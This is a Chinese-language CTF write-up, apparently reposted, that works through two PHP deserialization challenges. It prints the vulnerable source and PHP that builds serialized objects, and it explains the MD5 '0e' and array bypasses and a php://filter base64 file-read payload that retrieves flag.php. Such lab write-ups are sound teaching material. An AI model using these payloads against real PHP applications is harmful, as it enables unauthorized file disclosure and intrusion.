每日进步一点点（网安）

🕗 发布于 2025-01-18 21:57 php 网络安全

1.BUU CODE REVIEW 1

先看源代码

<?php

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        }
    }
}

源代码中包含BUU类和if条件判断语句

先分析BUU类，有__destruct()方法，就是对象被销毁时自动调用，可以通过序列化结果进行post传参，让correct和input相等即可得到flag，这是对BUU类的操作

<?php
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
?>

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

为什么这样构造呢？因为uniqid()产生的数是随时变化的，所以不能单纯让两个变量的值相等，因为无法保障值是确定唯一的，所以用到指针，让两个变量的内存地址相等，也就是共用一个内存地址。就可以确保两个变量是完全相同的~~这样就可以得到序列化字符串，进行反序列化绕过

下一步就是分析if语句，if语句的条件有一个get和四个post，get传参时需要满足pleaseget=1，post传参需要满足①pleasepsot=2，②md5的弱相等

md5弱相等绕过有两种办法：

①科学计数法：字符串以0e开头的，后面都是纯数字，就会被认为科学计数，在php中遇到0e就会解释为0，不管后面是什么，都解释为0

这是一些常用到的0e开头的字符串

字符串	md5
QNKCDZO	0e830400451993494058024219903391
s155964671a	0e342768416822451524974117254469
s878926199a	0e545993274517709034328855841020

②数组绕过：md5无法解析数组，所以当处理数组时，就会返回null，自然null==null

进行传参，得到flag

2.[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

本题的代码有点长，咱们一段一段看

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

在process方法中，当类变量op等于1的时候会调用write()方法，等于2的时候会调用read()方法。那么我们接下来就分析这两个方法

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

write()中就是个判断字符串长度，完了将字符串写入文件中，没什么用

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

我们发现read()方法中有file_get_contents函数用于读取文件，所以read方法就是我们获得flag的关键。这也就出现了第一个条件：变量op得等于2

我们再来看魔术方法__destruct()，当一个对象被删除或对象操作被终止时就会调用这个方法。我们进入这个靶场的时候，对象一定是会被杀死的，所以我们一定会调用这个魔术方法

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

在这个方法中，当op强等于2时，就会使op等于1，但是我们必须让op等于2，所以这个地方要进行绕过

在php中，强比较===不仅比较值还比较数据类型，而弱比较==只比较值。所以我们让po=2，这里的2是int类型，不是字符类型“2”

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

is_valid()方法规定传入变量的字符的ASCII码必须是32-125，而变量是protected定义的，protected属性在序列化后会出现不可见字符\x00*\x00，转化为ASCII码不符合要求，而public属性序列化不会出现不可见字符，可以用public属性来绕过

根据以上分析，我们先来构造反序列化代码：

<?php

class FileHandler{
    
    public $op = 2;    
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";    
    public $content;   
}

$a = new FileHandler();
echo serialize($a);

?>

PHP封装协议：

php://filter/read=convert.base64-encode/resource=xxx.php

php://filter是一种PHP中的一种特殊的流（即PHP伪协议），允许开发者使用流过滤器来对数据进行处理。也就是说这个协议可以用来过滤一些东西，使用不同的参数可以达到不同的目的和效果：

resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选

read=<读链的筛选列表>可以设定一个或多个过滤器名称，以管道符（|）分隔。可选

write=<写链的筛选列表>可以设定一个或多个过滤器名称，以管道符（|）分隔。可选

<；两个链的筛选列表>任何没有以 read= 或write=作前缀的筛选器列表会视情况应用于读或写链。

php://filter与包含函数结合时，php://filter流会被当作php文件执行。所以我们一般对其进行编码，阻止其不执行。从而导致任意文件读取。 read=convert.base64-encode，用base64编码输出，不然会直接当做php代码执行，看不到源代码内容。

php://filter协议，用base64编码的方式来读文件flag.php；这时页面会显示出源文件flag.php经过base64编码后的内容，然后经过base64解码就可以看到flag：

所以本题的payload为：/?file=php://filter/read=convert.base64-encode/resource=flag.php

payload：

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码，解码后即可得到flag：

PD9waHAgJGZsYWc9J2ZsYWd7ODE2Y2FkZDUtM2I5Ny00ODU4LWI0ODEtNGE1MGE2ZGU0NjBmfSc7Cg==

<?php $flag='flag{816cadd5-3b97-4858-b481-4a50a6de460f}';

当然构造反序列化代码时也可以使用flag.php，但是这样靶场不会出现flag，需要去页面源代码中查看才能找到

原文地址：https://blog.csdn.net/longnice666/article/details/145194058

免责声明：本站文章内容转载自网络资源，如侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

上一篇：unity——Preject3——开始界面拼面板
下一篇：使用Docker部署postgresql

【2024年华为OD机试】 (B卷,100分)- 路灯照明问题（Java & JS & Python&C/C++）
该代码首先读取一组区间的半径，并计算每个区间的起始和结束位置。然后对这些区间进行排序，确保它们按起始位置升序排列。接着遍历这些区间，计算它们之间的间隙总和。最终输出区间间隙的总和。输入获取读取区间的数
阅读更多2025-01-20
MySQL基于gtid的主从同步配置
【代码】MySQL基于gtid的主从同步配置。
阅读更多2025-01-20
专业数据分析不止于Tableau，四款小众报表工具解析
在众多的报表工具中，市场上的常见报表工具如Tableau、PowerBI等被广泛使用，但一些小众工具也提供了独特的功能和优势。以下是四款小众报表工具的介绍，它们各具特色，适合不同需求的用户，下面就为大
阅读更多2025-01-20
2025年入职/转行网络安全，该如何规划？网络安全职业规划
网络安全已经成为全球企业和政府的首要任务之一。从信息泄露到国家级的网络战，网络安全的挑战正在变得越来越复杂。随着数字化转型的推进，互联网、云计算、大数据、物联网等技术的发展，带来了新的安全风险。因此，
阅读更多2025-01-20
Java 语言基础概述
什么是JDK，JREJDK是提供给Java开发人员使用的，其中包含了java的开发工具，也包括了 JRE。所以安装了JDK，就不用在单独安装JRE了。 其中的开发工具：编译工具(javac.exe)
阅读更多2025-01-20
grafana + Prometheus + node_exporter搭建监控大屏
本文介绍生产系统监控大屏的搭建，比较实用也是实际应用比较多的方式，希望能够帮助大家对监控系统有一定的认识。
阅读更多2025-01-20
JSON-stringify和parse
【代码】JSON-stringify和parse。
阅读更多2025-01-20
算法的标准描述（pseudocode）（TODO）
过去两年看了很多算法，描述和之前的还是不同，国内好像用得不多。一直说抽时间总结总结。如果以后要去投稿，还要用这种写法。卡尔曼滤波的pseudocode。
阅读更多2025-01-20
【JAVA项目】基于ssm的【游戏美术外包管理信息系统】
其次，系统能够对游戏美术外包的各个环节进行有效的管理，包括需求管理、应征管理、流程追踪管理、在线交流管理以及在线回复管理等。系统简介：管理员登录进入游戏美术外包管理信息系统可以查看首页，个人中心，用户
阅读更多2025-01-20
十一、apply家族（4）
【代码】十一、apply家族（4）
阅读更多2025-01-20

每日进步一点点（网安）

1.BUU CODE REVIEW 1

2.[网鼎杯 2020 青龙组]AreUSerialz

相关文章